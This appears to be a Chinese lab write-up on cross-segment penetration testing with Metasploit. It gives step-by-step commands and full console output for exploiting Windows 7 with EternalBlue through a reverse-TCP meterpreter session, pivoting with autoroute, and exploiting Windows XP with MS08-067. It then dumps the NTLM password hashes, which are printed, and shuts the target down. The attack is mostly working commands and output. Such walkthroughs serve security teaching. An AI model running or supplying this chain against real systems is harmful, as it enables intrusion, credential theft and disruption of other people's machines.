Windows网络服务渗透测试实战-跨网段攻击

一、实验项目名称
Windows网络服务渗透测试实战-跨网段攻击
二、实验目的及要求
掌握对跨网段攻击的方法。
熟悉Metasploit终端的使用方法。
熟悉通过meterpreter进行后渗透操作
获取winxp系统管理员admin的密码，并使xp系统关机

----基础配置----


1、选择win7





2、选择winXP


 
3、选择kali




 4、查看kali的ip


5、查看winXP的ip


 6、查看win7的IP


总结如下:

WinXP	Win7	Kali
	网络适配器  桥接模式(自动) 192.168.43.99	网络适配器  桥接模式(自动) 192.168.43.89
网络适配器  NAT 192.168.232.128	网络适配器2  NAT 192.168.232.145

----开始跨网段攻击----

1、输入 msfconsole 启动metasploit


2、使用“永恒之蓝”的漏洞模块，使用扫描命令进行网段内主机扫描

1. use auxiliary/scanner/smb/smb_ms17_010 //进入扫描模块
3. set rhosts （目标网段） //扫描目标网段内的主机
5. set threads 512 //设置扫描线程
7. run //执行

复制代码

3、设置攻击步骤进行攻击

1. use exploit/windows/smb/ms17_010_eternalblue //利用攻击模块
3. set rhost （目标IP） //设置目标IP
5. set lhost （监听主机IP） //设置监听IP
7. set payload windows/x64/meterpreter/reverse_tcp //设置攻击载荷
9. run

复制代码

4、通过meterpreter终端获取系统控制台shell，执行ipconfig发现主机存在双网段


5、获取shell权限，在cmd窗口试图下输入 arp -a 可以发现，存在同网段的地址

 
6、返回meterpreter终端将内网网段192.168.232.128/24添加值路由表

1. run autoroute -s 192.168.232.128/24
3. run autoroute -p //查看路由表状况

复制代码

7.使用 background 退出到msf试图，并搜索 ms08-067 ，此处可以看到内网主机是XP系统，直接使用 ms08- 067 进行攻击

1. backgroup
2. search ms08-067
4. use exploit/windows/smb/ms08_067_netapi //利用攻击模块
6. set payload windows/meterpreter/bind_tcp //设置攻击载荷
8. set rhost （目标IP） //设置监听IP
10. run

复制代码

8、获取winxp系统管理员admin的密码


9、使xp系统关机




 关机之后kali中会失去会话

 

1. ┌──(kali㉿kali)-[~/Desktop]
2. └─$ ip a
3. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
4.     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5.     inet 127.0.0.1/8 scope host lo
6.        valid_lft forever preferred_lft forever
7.     inet6 ::1/128 scope host
8.        valid_lft forever preferred_lft forever
9. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
10.     link/ether 00:0c:29:68:f4:d1 brd ff:ff:ff:ff:ff:ff
11.     inet 192.168.43.89/24 brd 192.168.43.255 scope global dynamic noprefixroute eth0
12.        valid_lft 2911sec preferred_lft 2911sec
13.     inet6 240e:468:81:203c:da81:9549:e675:f2e0/64 scope global temporary dynamic
14.        valid_lft 3538sec preferred_lft 3538sec
15.     inet6 240e:468:81:203c:20c:29ff:fe68:f4d1/64 scope global dynamic mngtmpaddr noprefixroute
16.        valid_lft 3538sec preferred_lft 3538sec
17.     inet6 fe80::20c:29ff:fe68:f4d1/64 scope link noprefixroute
18.        valid_lft forever preferred_lft forever
19.                                                                                                                                       
20. ┌──(kali㉿kali)-[~/Desktop]
21. └─$ msfconsole
22.                                                   
23. _                                                    _
24. / \    /\         __                         _   __  /_/ __
25. | |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
26. | | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
27. |_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
28.       |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\
31.        =[ metasploit v6.1.4-dev                           ]
32. + -- --=[ 2162 exploits - 1147 auxiliary - 367 post       ]
33. + -- --=[ 592 payloads - 45 encoders - 10 nops            ]
34. + -- --=[ 8 evasion                                       ]
36. Metasploit tip: Open an interactive Ruby terminal with
37. irb
39. msf6 > use auxiliary/scanner/smb/smb_ms17_010
40. msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.43.99
41. rhosts => 192.168.43.99
42. msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 512
43. threads => 512
44. msf6 auxiliary(scanner/smb/smb_ms17_010) > run
46. [+] 192.168.43.99:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
47. [*] 192.168.43.99:445     - Scanned 1 of 1 hosts (100% complete)
48. [*] Auxiliary module execution completed
49. msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
50. [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
51. msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.43.99
52. rhost => 192.168.43.99
53. msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.43.89
54. lhost => 192.168.43.89
55. msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
56. payload => windows/x64/meterpreter/reverse_tcp
57. msf6 exploit(windows/smb/ms17_010_eternalblue) > run
59. [*] Started reverse TCP handler on 192.168.43.89:4444
60. [*] 192.168.43.99:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
61. [+] 192.168.43.99:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
62. [*] 192.168.43.99:445     - Scanned 1 of 1 hosts (100% complete)
63. [+] 192.168.43.99:445 - The target is vulnerable.
64. [*] 192.168.43.99:445 - Connecting to target for exploitation.
65. [+] 192.168.43.99:445 - Connection established for exploitation.
66. [+] 192.168.43.99:445 - Target OS selected valid for OS indicated by SMB reply
67. [*] 192.168.43.99:445 - CORE raw buffer dump (38 bytes)
68. [*] 192.168.43.99:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
69. [*] 192.168.43.99:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
70. [*] 192.168.43.99:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1         
71. [+] 192.168.43.99:445 - Target arch selected valid for arch indicated by DCE/RPC reply
72. [*] 192.168.43.99:445 - Trying exploit with 12 Groom Allocations.
73. [*] 192.168.43.99:445 - Sending all but last fragment of exploit packet
74. [*] 192.168.43.99:445 - Starting non-paged pool grooming
75. [+] 192.168.43.99:445 - Sending SMBv2 buffers
76. [+] 192.168.43.99:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
77. [*] 192.168.43.99:445 - Sending final SMBv2 buffers.
78. [*] 192.168.43.99:445 - Sending last fragment of exploit packet!
79. [*] 192.168.43.99:445 - Receiving response from exploit packet
80. [+] 192.168.43.99:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
81. [*] 192.168.43.99:445 - Sending egg to corrupted connection.
82. [*] 192.168.43.99:445 - Triggering free of corrupted buffer.
83. [*] Sending stage (200262 bytes) to 192.168.43.99
84. [*] Meterpreter session 1 opened (192.168.43.89:4444 -> 192.168.43.99:50762) at 2022-05-18 22:23:55 -0400
85. [+] 192.168.43.99:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
86. [+] 192.168.43.99:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
87. [+] 192.168.43.99:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
89. meterpreter > shell
90. Process 7924 created.
91. Channel 1 created.
92. Microsoft Windows [�汾 6.1.7601]
93. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
95. C:\Windows\system32>chcp 65001
96. chcp 65001
97. Active code page: 65001
99. C:\Windows\system32>ipconfig
100. ipconfig
102. Windows IP Configuration
105. Ethernet adapter �������� 2:
107.    Connection-specific DNS Suffix  . : localdomain
108.    Link-local IPv6 Address . . . . . : fe80::e970:4199:33c6:f0f3%21
109.    IPv4 Address. . . . . . . . . . . : 192.168.232.145
110.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
111.    Default Gateway . . . . . . . . . : 192.168.232.2
113. Ethernet adapter Bluetooth ��������:
115.    Media State . . . . . . . . . . . : Media disconnected
116.    Connection-specific DNS Suffix  . :
118. Ethernet adapter ��������:
120.    Connection-specific DNS Suffix  . :
121.    IPv6 Address. . . . . . . . . . . : 240e:468:81:203c:6d7a:d608:7ec3:80e
122.    Temporary IPv6 Address. . . . . . : 240e:468:81:203c:b1e9:713c:1d5d:3a38
123.    Link-local IPv6 Address . . . . . : fe80::6d7a:d608:7ec3:80e%11
124.    IPv4 Address. . . . . . . . . . . : 192.168.43.99
125.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
126.    Default Gateway . . . . . . . . . : fe80::284a:4a93:2ef9:661b%11
127.                                        192.168.43.1
129. Tunnel adapter isatap.{D0C9B1FF-3866-45AB-BD3C-6BCCE51D708F}:
131.    Media State . . . . . . . . . . . : Media disconnected
132.    Connection-specific DNS Suffix  . :
134. Tunnel adapter isatap.{AA43B9EC-6828-4E2A-ACED-837F5FF4C2C8}:
136.    Media State . . . . . . . . . . . : Media disconnected
137.    Connection-specific DNS Suffix  . :
139. Tunnel adapter isatap.localdomain:
141.    Media State . . . . . . . . . . . : Media disconnected
142.    Connection-specific DNS Suffix  . :
144. C:\Windows\system32>arp -a
145. arp -a
147. Interface: 192.168.43.99 --- 0xb
148.   Internet Address      Physical Address      Type
149.   192.168.43.1          12-2b-33-95-ca-ca     dynamic   
150.   192.168.43.89         00-0c-29-68-f4-d1     dynamic   
151.   192.168.43.107        50-e0-85-a8-bc-86     dynamic   
152.   192.168.43.162        50-e0-85-a8-bc-86     dynamic   
153.   192.168.43.170        50-e0-85-a8-bc-86     dynamic   
154.   192.168.43.223        c0-3c-59-b9-be-3c     dynamic   
155.   192.168.43.255        ff-ff-ff-ff-ff-ff     static   
156.   224.0.0.22            01-00-5e-00-00-16     static   
157.   224.0.0.252           01-00-5e-00-00-fc     static   
158.   239.255.255.250       01-00-5e-7f-ff-fa     static   
159.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
161. Interface: 192.168.232.145 --- 0x15
162.   Internet Address      Physical Address      Type
163.   192.168.232.1         00-50-56-c0-00-08     dynamic   
164.   192.168.232.2         00-50-56-fb-6f-4e     dynamic   
165.   192.168.232.128       00-0c-29-52-81-07     dynamic   
166.   192.168.232.254       00-50-56-e3-a4-9f     dynamic   
167.   192.168.232.255       ff-ff-ff-ff-ff-ff     static   
168.   224.0.0.22            01-00-5e-00-00-16     static   
169.   224.0.0.252           01-00-5e-00-00-fc     static   
170.   239.255.255.250       01-00-5e-7f-ff-fa     static   
171.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
173. C:\Windows\system32>exit
174. meterpreter > run autoroute -s 192.168.232.128/24                                                                                      
175.                                                                                                                                        
176. [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.                                                               
177. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
178. [*] Adding a route to 192.168.232.128/255.255.255.0...
179. [+] Added route to 192.168.232.128/255.255.255.0 via 192.168.43.99
180. [*] Use the -p option to list all active routes
181. meterpreter > run autoroute -p
183. [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
184. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
186. Active Routing Table
187. ====================
189.    Subnet             Netmask            Gateway
190.    ------             -------            -------
191.    192.168.232.128    255.255.255.0      Session 1
193. meterpreter > background
194. [*] Backgrounding session 1...
195. msf6 exploit(windows/smb/ms17_010_eternalblue) > search ms08-067
197. Matching Modules
198. ================
200.    #  Name                                 Disclosure Date  Rank   Check  Description
201.    -  ----                                 ---------------  ----   -----  -----------
202.    0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
205. Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
207. msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms08_067_netapi
208. [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
209. msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
210. payload => windows/meterpreter/bind_tcp
211. msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.232.128
212. rhost => 192.168.232.128
213. msf6 exploit(windows/smb/ms08_067_netapi) > run
215. [*] 192.168.232.128:445 - Automatically detecting the target...
216. [*] 192.168.232.128:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
217. [*] 192.168.232.128:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
218. [*] 192.168.232.128:445 - Attempting to trigger the vulnerability...
219. [*] Started bind TCP handler against 192.168.232.128:4444
220. [*] Sending stage (175174 bytes) to 192.168.232.128
221. [*] Meterpreter session 2 opened (192.168.232.145:51366 -> 192.168.232.128:4444) at 2022-05-18 22:38:20 -0400
223. meterpreter > shell
224. Process 7092 created.
225. Channel 1 created.
226. Microsoft Windows XP [Version 5.1.2600]
227. (C) Copyright 1985-2001 Microsoft Corp.
229. C:\WINDOWS\system32>ipconfig
230. ipconfig
232. Windows IP Configuration
235. Ethernet adapter Local Area Connection:
237.         Connection-specific DNS Suffix  . :
238.         IP Address. . . . . . . . . . . . : 192.168.232.128
239.         Subnet Mask . . . . . . . . . . . : 255.255.255.0
240.         Default Gateway . . . . . . . . . : 192.168.10.254
242. C:\WINDOWS\system32>getuid
243. getuid
244. 'getuid' is not recognized as an internal or external command,
245. operable program or batch file.
247. C:\WINDOWS\system32>exit
248. meterpreter > getuid
249. Server username: NT AUTHORITY\SYSTEM
250. meterpreter > hashdump
251. Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
252. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
253. HelpAssistant:1000:32f842845a64f17ccbe6b10315169b7e:83789c0d8506a618d815fd9c6fb379e1:::
254. IUSR_DH-CA8822AB9589:1003:de8b8cec054052bb8ab2d451a3e61856:145f992fa5ff125301520f8e27419c6d:::
255. IWAM_DH-CA8822AB9589:1004:90b05d38a1fc8d80a4ae31c7bc961352:2f950167d2942f7c977fdfd1857b8a59:::
256. SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bb5a5a239a6e521be591fdf091b05013:::
257. meterpreter > shell
258. Process 8096 created.
259. Channel 2 created.
260. Microsoft Windows XP [Version 5.1.2600]
261. (C) Copyright 1985-2001 Microsoft Corp.
263. C:\WINDOWS\system32>shutdown -s -t 5
264. shutdown -s -t 5
266. C:\WINDOWS\system32>
267. [*] 192.168.232.128 - Meterpreter session 2 closed.  Reason: Died

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！